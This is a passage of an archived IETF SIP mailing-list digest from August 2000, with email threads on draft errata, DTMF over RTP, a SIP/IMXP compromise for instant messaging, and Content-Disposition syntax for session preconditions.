3 Aug 2000 10:06:44 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08519; Thu, 3 Aug 2000 10:10:08 -0400 (EDT) Message-ID: <39897E4F.F7B2E5BC@cs.columbia.edu> Date: Thu, 03 Aug 2000 10:14:39 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Srinath A Cc: siplist Subject: Re: [SIP] What do we want with SIP? References: <56E7307B0850D411B1480008C75DD5EAB73C1A@enlrynt303.dsn.ericsson.se> <00fc01bffd38$d317a000$9940000a@sasi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > A suggestion: Is there harm in trying to incorporate MGCP functionality into SIP using the > presence and IM extensions, similar to the control of NA's ? :-) > Three reasons not to do this: - two protocols already exist for this (MGCP and Megaco); - very few of the SIP mechanisms are useful here. Generally, MGs and MGCs are stationary (with regards to each other), for example. - SIP is peer-to-peer, MGCP/Megaco is master-slave. This is indeed one good example where the model does not fit well. SIP is not a reliable datagram protocol for random content. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:18:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA15820 for ; Thu, 3 Aug 2000 10:18:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1D1F7443A7; Thu, 3 Aug 2000 10:17:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 61A714433A for ; Thu, 3 Aug 2000 10:17:29 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08563; Thu, 3 Aug 2000 10:21:39 -0400 (EDT) Message-ID: <39898102.6292C2C2@cs.columbia.edu> Date: Thu, 03 Aug 2000 10:26:10 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: archow@hss.hns.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Further queries on SIP Draft References: <65256930.0032D0A6.00@sampark.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit archow@hss.hns.com wrote: > > Hi, had some further queries on the SIP rfc2543bis Draft > > Maybe some of these were reported before - if so pls ignore. > > *) > The link on the SIP Site mentions the draft date as Jul 17th, downloading > it shows a date > of Jul 13th on the draft (PDF) The most recent one in http://www.cs.columbia.edu/~hgs/sip/drafts/ is to be -01, dated Jul. 26. > > *) > Page 19, in description of telephone-subscriber uses %x HEX HEX notation > instead of % HEX HEX (I guess this would > have been corrected in Jul 17 version ?) This is a common misunderstanding. %x40 is from the ABNF spec, %40 is the URL escaping. The two serve different purposes. To reduce confusion, I've used the escaping version now. > > *) > Table 4, page 35 puts Content-Language header as "m" for all messages. I > dont think this is true. > The HTTP draft (which is referred to by the SIP draft) also marks it as > optional. I don't know which row you're reading, but it's 'o' in the current version. > > *) > Draft says Contact header is mandatory for INVITE. Table shows 'o' > See above. > *) > Page 13, point 7, line 2 : s/preent/present See above. > > *) > Page 39, Alert-Info grammar still has strange characters > (I think someone reported this on Call-Info header too some time ago) See above. > > *) > Page 14 & Page 27: > > Page 14 says: > "A successful SIP invitation consists of two requests, INVITE followed by > ACK.TheINVITE (Section 4.2.1) > request asks the callee to join a particular conference or establish a > two-party conversation. After the callee > has agreed to participate in the call, the caller confirms that it has > received that response by sending an ACK > (Section 4.2.2) request. If the caller no longer wants to participate in > the call, it sends a BYE request instead > of an ACK." > > while Page 27 says > > "A BYE request from either called or calling party terminates any pending > INVITE at a UA, but the > INVITE request transaction MUST be completed with a final response and > ACK." > > It seems while the former suggests that ACK can be replaced by BYE, the > latter mandates the ACK. Is this an > mis-inerpretation of the text on my part ? Inconsistency fixed (offending sentence deleted). > > *) > Finally, just out of interest (not any comment as such): > In page 36, Table 5, Record-Route interest, 2xx is written instead of 200. > Is anoyone out there using > any 2xx class response besides 200 OK ? ( I saw the others in the HTTP > draft like 201-206) While there may not be something other 200 right now, we'd like to keep this possibility open. > > Regds > Arjun > > -- > Arjun Roychowdhury @ Hughes Software Systems > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:21:41 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA17237 for ; Thu, 3 Aug 2000 10:21:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9A66F443C5; Thu, 3 Aug 2000 10:21:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 8BE044433A for ; Thu, 3 Aug 2000 10:21:14 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08576; Thu, 3 Aug 2000 10:24:54 -0400 (EDT) Message-ID: <398981C5.A561D61C@cs.columbia.edu> Date: Thu, 03 Aug 2000 10:29:25 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Srinath A Cc: siplist Subject: Re: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt References: <398871C2.186E70AB@cs.columbia.edu> <005301bffd02$29571cc0$9940000a@sasi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > Hi, > > I would like to add in this context that once the instant messaging is in place, can it be used > for sending static images in SIP? This pertains to the earlier issue on sending a variable bitrate, > low frame rate video in parallel with the existing session. Whenever an entity wants to send a frame > to the other end it merely sends a notification message with the body containing the jpeg image. Nobody can keep you from doing this if you insist (as long as you don't want to turn it into an Internet standard), but you'll find that there are more appropriate mechanisms, as discussed on this list a few weeks ago. RTP works just fine for JPEG, regardless of whether you send a frame a second or a frame a week. > > I have a doubt regarding whether RPC mechanism can be used for the same purpose as controlling > networked appliances from a wide area network. Do existing RPC mechanisms have User location > facilities? What about authentication? My personal opinion is that RPC could be used within the home > domain and not outside it. Comments? > Some of the Corba facilities use directory-based mechanisms to locate (effectively) servers, but interdomain use does seem to be rare at this point. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:31:14 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA21638 for ; Thu, 3 Aug 2000 10:31:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4C3C2443C0; Thu, 3 Aug 2000 10:28:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by lists.bell-labs.com (Postfix) with ESMTP id 09F0C4433A for ; Thu, 3 Aug 2000 10:28:27 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id HAA23738; Thu, 3 Aug 2000 07:28:39 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC35493; Thu, 3 Aug 2000 07:28:17 -0700 (PDT) Message-Id: <4.1.20000803101142.00b89a40@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 03 Aug 2000 10:31:19 +0200 To: Scott Petrack , impp@iastate.edu, SIP reflector From: Rohan Mahy Subject: Re: [SIP] a proposal for a way to compromise? (really, not a joke) Cc: kzm@cisco.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Scott, I'm very relieved that other folks with a SIP background are thinking about the sort of combination you suggest. After lunch with the BEEP chair, I drew the following conclusions. Please note that these are my personal opinions, and not necessarily those of my employer, etc. - Both IMPS and IMXP satisfy the base requirements for IM and P - SIP is superior for handling *mobile* presence - The SIP MESSAGE method is simple and apropos for messages that fit in one datagram - BXXP is much better for bigger messages (GIF/JPEG, powerpoint, shared browsing...) - SIP could easily setup BXXP sessions thanks, -rohan At 08:39 PM 8/2/00 , Scott Petrack wrote: > >[The following is written in haste, because I discovered I have to take an >early plane out of the IETF. I'm really sorry to miss the BOF tonight, but >I'll certainly answer email questions:] > >I tried hard to do what Dave Crocker suggested, and thought about what the >'other side' is really after, and the fact is that once I put myself in >this frame of mind, I came pretty quickly to a few ideas that point to a >compromise. I know that this is considered impossible, and that many >people are just waiting for the two weeks to pass so that the group can >split in two, but I hope you'll give the following ideas a decent >look-over. I'll state up front that I am guilty of two things: I am from >the SIP side of the house, and I have not been as active on the list as I >should have been. But I spoke to a few people yesterday, and I believe >that the following is new input. If not, I apologize. > >First, Dave Crocker's exercise: what does each side bring to the table, >beyond "take my protocol, please...." > >The really essential service that SIP offers is 'session initiation'. It >was absoutely designed from the beginning as a way to HAND OFF to another >protocol. SIP is only one piece in a puzzle that includes SDP (for >describing voice/video sessions) and RTP (for transmitting realtime data). >The original intent was that SIP would hand off to the actual media >transport session as soon as possible >(an RTP session in the case of realtime voice/video). In fact, basic SIP >(without extensions) does a relatively poor job of managing or modifying >sessions that already exist. > >The key thing to remember from all this is that SIP is >crafted to allow the sort of "finding"/"signaling" and "hand off to >another protocol". It is designed to do this under some very important and >difficult conditions -- mainly when people and terminals are moving >around, and when it's not clear at the beginning the people want to IM. >What SIP is less designed to do is to pass around crazy types of >text and non-text instant messages (although of course SIP can do >*anything* ;-)) that have nothing to do with a later hand-off to a >multimedia session. > >Now, on the other hand, my understanding is that the "messaging" people >feel that the key elements of MIME and SMTP push are very important to >them. In fact, my understanding is that the 'mobility rendez-vous parts' >of IMXP are less established and tested yet than various nooks and >crannies of the problems of getting a message reliably and quickly from A >to B. > >I for one think it very reasonable to suppose that people who have been >thinking about how to do messaging for many years are very good at their >craft, and have thought a lot about the nooks and crannies of the >different horrors that might occur when trying to transport "instantly" >different types of "messages". Maybe they've even thought more than the >SIP people have about this ;-). I'm particularly thinking about what will >happen when the message is large (a big image or large HTML message, etc.) > >So my proposal for compromise is the following: > >use SIP for rendezvous and distributing presence -- find the other >person/people, help decide that the *way* they want to communicate is via >IM, and then HAND OFF to an IM protocol, one that is designed to be >extensible to all kinds of instant messaging (large gifs, powerpoint >presentations, shared browsing, whatever, etc.). > >If IMXP is a better "IM transfer protocol", then it's very >reasonable to leave it to do just that, and have a user signal that >he wants to IM you by having the SIP hand off to IM. > >I'm hoping (probably in vain) that what really offends the SIP people is >doing finding/rendezvous in some other protocol than SIP, and that what >really offends messaging people is using SIP to transfer messages. > >To be honest, this already happens in one very special kind of instant >messaging -- people who are into telephone devices for the deaf (TDD) have >defined an RTP format for realtime delivery of text. If you've ever seen a >device like this, it is the original "instant messaging device". It >enables people who could not otherwise use a phone to communicate over the >phone. And in the SIP version of this service, SIP is used to 'set >up' the call, but soon enough the call is handed off to RTP, using the >special RTP format for these kinds of text messages. NO NO NO -- I'm not >suggesting that we do instant messaging this way. I'm suggesting that this >model -- where SIP rendez-vous and hands off to a different protocol -- is >the core SIP model, and already is used for a very special kind of >"instant messaging". SIP really does this "find/rendezvous/hand-off" >piece very well, and it would be silly to reinvent it. > >At this point, I think that it's worth saying that the accusations about >"SIP taking over the user" are really not true. There are many many things >that one might want to do with a user which have nothing to do with >communicating with her/him. I might want to configure the user's computer >(if I'm the sysadmin), I might want to send mail to his telephone, >whatever. SIP has indeed been designed for the >particular issue of "I've got a user name, and I want to do realtime >communication with him". SIP is not intended to 'own the user'. *That* is >a directory problem, and SIP is NOT a directory service, nor was it ever >intended to be one. > >As a final comment (I'm sure I'm gonna regret saying this), it does look >as if IMXP is a less mature protocol, in the good old IETF sense of >multiple interoperable implementations. (remember "running code". That was >supposed to carry some weight). So for the really stupid requirement to >send a short piece of text from one host to another, the MESSAGE method >works just fine. This could be used as a stop gap while the more elaborate >IMXP details are being worked out. There are many details still to be >worked out in the SIP proposals for rendezvous and presence. But they >really are details, and I'll bet that this work could be completed >quickly, to be followed by completing the work on finishing details of >IMXP for instant message delivery. > >Scott > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:35:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA23703 for ; Thu, 3 Aug 2000 10:35:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B67F0443CE; Thu, 3 Aug 2000 10:33:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by lists.bell-labs.com (Postfix) with ESMTP id 64B214433A for ; Thu, 3 Aug 2000 10:33:29 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA16330; Thu, 3 Aug 2000 10:33:26 -0400 (EDT) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA27181; Thu, 3 Aug 2000 10:33:19 -0400 (EDT) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Thu, 3 Aug 2000 10:33:17 -0400 Message-ID: <4FBEA8857476D311A03300204840E1CF67867C@whq-msgusr-02.fore.com> From: "Rosen, Brian" To: "'Rohan Mahy'" , sip@lists.bell-labs.com Subject: RE: [SIP] DTMF discussion from WG meeting Date: Thu, 3 Aug 2000 10:33:15 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com > - Terminals which *send audio* must be able to send and > receive DTMF via > RTP. (If for no other reason, than PSTN interworking). Minor point, but some terminals that can send audio may not be able to send and receive DTMF via RTP. A UA which had a telephone plugged into it, would probably need a DTMF detector, but would not need a DTMF generator. A sipphone which had a keypad could fake DTMF send, but would not necessarily have any use for DTMF reception. I think it's all okay. A POTS equipped UA would generate DTMF RTP (and events) to work with legacy apps and SIP-aware apps. If it was sent DTMF RTP, it would just ignore it (actually, I have a use for it, but it's all within the UA) A sipphone without a DTMF generator would work fine in all circumstances unless it connected to a device that did NOT send DTMF inband on the audio RTP, but used DTMF RTP only, and expected the user to "hear" tones. The user would hear silence. Brian _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:45:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA27624 for ; Thu, 3 Aug 2000 10:45:49 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F2E41443D0; Thu, 3 Aug 2000 10:45:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id A3B4C443AA for ; Thu, 3 Aug 2000 10:45:04 -0400 (EDT) Received: from cs.columbia.edu (wireless-134-39.ietf.marconi.com [147.73.134.39]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08643; Thu, 3 Aug 2000 10:49:10 -0400 (EDT) Message-ID: <39898775.35025299@cs.columbia.edu> Date: Thu, 03 Aug 2000 10:53:41 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Rohan Mahy Cc: sip@lists.bell-labs.com Subject: Re: [SIP] DTMF discussion from WG meeting References: <4.1.20000802142046.00b84810@imop.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I continue to be concerned by the complexity of all of this. As pointed out, every Ethernet phone will need to support RFC 2833 (and it's pretty trivial to implement, given that RTP/RTCP is needed anyway). Instead of adding another mechanism, it would seem better to have the generic ability to get end systems to send to multiple copies of audio streams, including subsets. This is more generally useful for multi-party calls. (As a side note, I'm still not sure how useful this audio/DTMF split is in practice, given the wide use of voice recognition. Also, given that not all end systems will implement anything beyond basic 2833, in practice you'll end up with trivial 'RTP splitters' that route DTMF packets to one server and audio to another.) Finally (separate issue), I just don't see that there is a practical difference between DTMF and 'user input'. User input is just a subset of DTMF (minus loudness). Hopefully, both will disappear over time, as user devices have richer input capability. We don't want to redo telnet/rlogin or X11 in SIP. Rohan Mahy wrote: > > Hi Folks, > > Below is a summary of one proposal for DTMF (basically what I said at the > mic today). > > - Terminals which *send audio* must be able to send and receive DTMF via > RTP. (If for no other reason, than PSTN interworking). > > - First-party applications which *receive audio*, must be able to receive > DTMF via RTP, because the sender may send their DTMF over RTP. > > - Third-party applications which want to find out about keypresses (IP > endpoints) or DTMF events (PSTN endpoints) of a party in a call, should > send a SUBSCRIBE to that party for dtmf-events. The third party may > request [using some kind of parameter (ex: ";silent" or ";private")] that > DTMF is not sent via RTP during this subscription. Otherwise the first > party still sends DTMF to its audio peers using RTP. > > Applications of the "silent" parameter would be private signalling to > calling card things, to conference control services, etc. > > - Alternatively a third party MAY send a script/document/application (ex: > VoXML doc) to an endpoint to run, which could result in other SIP > messages//notifies, etc. This script/doc/app MAY trap DTMF locally (and > silently). > > - A first-party MAY NOT subscribe to dtmf-events, but MAY trap DTMF based > on a local script/app/doc. > > Key here was the difference between a first party participant and a third > party participant. > > Thoughts? > > thanks, > -rohan > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 10:56:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01470 for ; Thu, 3 Aug 2000 10:56:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5471C443A7; Thu, 3 Aug 2000 10:56:32 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id BED6A4433A for ; Thu, 3 Aug 2000 10:56:28 -0400 (EDT) Received: from dynamicsoft.com (wireless-135-164.ietf.marconi.com [147.73.135.164]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA24469 for ; Thu, 3 Aug 2000 10:58:03 -0400 (EDT) Message-ID: <39898942.69ED8896@dynamicsoft.com> Date: Thu, 03 Aug 2000 11:01:22 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: sip Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] security task force Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Folks, For those looking for the security taskforce lunch meeting, we will be meeting at the IETF message board in the terminal room at 11:40. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 11:20:11 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11398 for ; Thu, 3 Aug 2000 11:20:09 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8DAE4443C9; Thu, 3 Aug 2000 11:19:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id CFC654433A for ; Thu, 3 Aug 2000 11:19:22 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA04802; Thu, 3 Aug 2000 08:19:37 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC36127; Thu, 3 Aug 2000 08:19:18 -0700 (PDT) Message-Id: <4.1.20000803103242.00b7d3e0@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 03 Aug 2000 11:01:24 +0200 To: "Steve Donovan" , "Jonathan Rosenberg" From: Rohan Mahy Subject: RE: [SIP] Session header Cc: In-Reply-To: References: <4.1.20000802102743.00b7b4e0@imop.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 08:58 PM 8/2/00 , Steve Donovan wrote: >Rohan Mahy wrote: >> >> At 06:34 PM 8/2/00 , Steve Donovan wrote: >> >Rohan Mahy wrote: >> >> >> >> >> >> Hi, >> >> >> >> Just wanted to clarify this, since you didn't include syntax, that the >> >> original contents of the Session header (qos, security, media) >> >> would become >> >> parameters to the session disposition? and you could add one >> or more of >> >> these session "purposes"? >> > >> >I'm not sure it is necessary to specify QoS and Security. The >> real need for >> >the additional parameter in the content-disposition header (the >> old session >> >header) is to indicate that the message body contains preconditions. The >> >indication of preconditions tells the SIP state machine to delay alerting >> >the user until the preconditions have been met. >> >> The old Session header could indicate if the session description was to be >> used for media, or for setting up qos or security. Perhaps we could have: >> >> disposition-type = "render" | "media" | "session-info" | extension-type >> >> media would correspond to ordinary or early media, and session-info or >> "precondition" would be a session used for setting up qos, security, nat >> traversal, punching holes in firewalls, etc... >> >> the only problem is that there a few valid scenarios where you might want >> to use a session description for both early media and qos. > >I was trying to avoid coping the contents of the SDP body into the SIP >headers. Why does the SIP UA need to know that there are QoS, security or >other precondition information in the header? The UA needs to know the purpose/semantics of the SDP. For an SDP, the UA could either setup that session for immediate media (as in Session: media), or it might need the session description to setup QoS/Security/Firewall holes/Whatever, where it DOES NOT setup media. When a UA gets SDP, it needs to know if immediate media is needed, or not. If this is not clear, please see the section on the Session header in the expired 183 draft. It articulates the need much better than I could typing in the back of a session. >> >Specifying QoS and Security as reasons for the preconditions >> means that the >> >protocol will need to be changed with other precondition reasons >> need to be >> >added. >> >> that's the way manyfolks is defined now. > >The manyfolks draft defines it in the SDP, which is appropriate. I don't >think it talks about the SIP Session header. I'm arguing that the SIP layer >does not need to know about QoS or Security, only that preconditions exist. The SDP for manyfolks will have the a=qos: attributes whether the SDP is needed for media or not. See my example below (only relevant headers/SDP info shown). B supports manyfolks, but A does not. INVITE -> From: A To: B <- 180 Content-Disposition: preconditions;handling=optional a=qos:optional sendrecv confirm <- 200 Content-Disposition: session;handling=required a=qos:failure sendrecv ACK -> So with Content-Disposition, a bis-capable UA, should know what a body is for, and if the body is optional or required, without having to know the semantics of the body first. thanks, -rohan >> >In addition, QoS and Security would only need to be included in >> the header >> >when the SDP strength-tag is mandatory. There is no value to >> the SIP state >> >machine to know that there are QoS attributes in the SDP when the >> >strength-tag is set to optional. >> >> agreed. >> >> thanks, >> -rohan >> >> >> >> >> >> Example using manyfolks qos and security: >> >> >> >> 180 Ringing >> >> ... >> >> Content-type: application/sdp >> >> Content-disposition: session;qos;security;handling=required >> >> Content-Length: ... >> >> ... >> >> a=qos: mandatory sendrecv confirm >> >> a=security: optional sendrecv confirm >> >> >> >> Old Syntax: >> >> >> >> Content-Disposition = "Content-Disposition" ":" disposition-type *(";" >> >> disposition-parm) >> >> disposition-type = "render" | "session" | extension-token >> >> disposition-parm = handling-parm | parameter >> >> handling-parm = "handling" "=" ( "optional" | "required" | >> >> other-handling ) >> >> other-handling = token >> >> >> >> New Sytax: >> >> >> >> Content-Disposition = "Content-Disposition" ":" disposition-type *(";" >> >> disposition-parm) >> >> disposition-type = "render" | "session" | extension-token >> >> disposition-parm = handling-parm | session-parm | parameter >> >> handling-parm = "handling" "=" ( "optional" | "required" | >> >> other-handling ) >> >> other-handling = token >> >> session-parm = "qos" | "security" | "media" | token >> >> >> >> session-parm is only valid with the "session" disposition-type. >> > >> >I would suggest a parameter that is something like: >> > >> >Content-Disposition = "Content-Disposition" ":" disposition-type *(";" >> > disposition-parm) >> >disposition-type = "render" | "session" | extension-token >> >disposition-parm = handling-parm | session-parm | parameter >> >handling-parm = "handling" "=" ( "optional" | "required" | >> >other-handling ) >> >other-handling = token >> >session-parm = "preconditions" | "media" | token >> > >> >Where presence of the preconditions session-parm indicates that >> >preconditions exist. >> > >> >Steve >> > >> > >> > >> >> >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip >> > > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 11:21:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA12255 for ; Thu, 3 Aug 2000 11:21:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4A398443D6; Thu, 3 Aug 2000 11:19:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id AEECD44391 for ; Thu, 3 Aug 2000 11:19:24 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA04837; Thu, 3 Aug 2000 08:19:39 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC36128; Thu, 3 Aug 2000 08:19:21 -0700 (PDT) Message-Id: <4.1.20000803110433.00b768e0@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 03 Aug 2000 11:07:16 +0200 To: Henning Schulzrinne , Ben Campbell From: Rohan Mahy Subject: Re: [SIP] Comment on 